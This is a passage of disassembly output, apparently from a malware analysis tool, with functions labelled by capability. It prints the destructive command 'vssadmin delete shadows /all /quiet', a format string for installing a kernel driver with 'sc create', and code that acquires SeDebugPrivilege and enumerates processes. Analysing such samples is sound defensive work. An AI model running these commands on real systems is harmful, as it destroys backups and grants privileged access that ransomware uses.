mov r9, rcx
mov r8, rdx
lea rdx, str.sc_create__s_binpath___s__type__kernel_
mov rcx, rbx
call fcn.140001860
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x140002009

Function at 0x1400021a4
Capabilities:
Delete volume shadow copies

Disassembly:
sub rsp, 0x28
call fcn.14000217c
nop
add rsp, 0x28
jmp 0x1400021a4
push rbx
sub rsp, 0x20
lea rbx, [0x1400108c0]
lea rdx, str.vssadmin_delete_shadows__all__quiet
mov rcx, rbx
call fcn.140001860
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x140002009
Function at 0x1400021d0
Capabilities:
Acquire debug privileges

Disassembly:
push rdi
sub rsp, 0x140
mov rcx, qword [0x140010ac8]
test rcx, rcx
je 0x1400021ea
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x140010ac0], 0
jne 0x140002215
xor eax, eax
lea rdi, [rsp + 0x2c]
mov ecx, 0x45
rep stosd dword [rdi], eax
lea rcx, [rsp + 0x2c]
call fcn.140001ba5
mov eax, dword [rsp + 0x30]
mov dword [0x140010ac0], eax
xor edx, edx
lea rcx, str.SeDebugPrivilege
call fcn.140001aec
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [0x140010ac8], rax
inc rax
sete al
movzx eax, al
add rsp, 0x140
pop rdi
ret

Function at 0x140002248
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x140010ac8]
test rcx, rcx
je 0x14000225e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 1
lea rcx, str.SeDebugPrivilege
add rsp, 0x28
jmp fcn.140001aec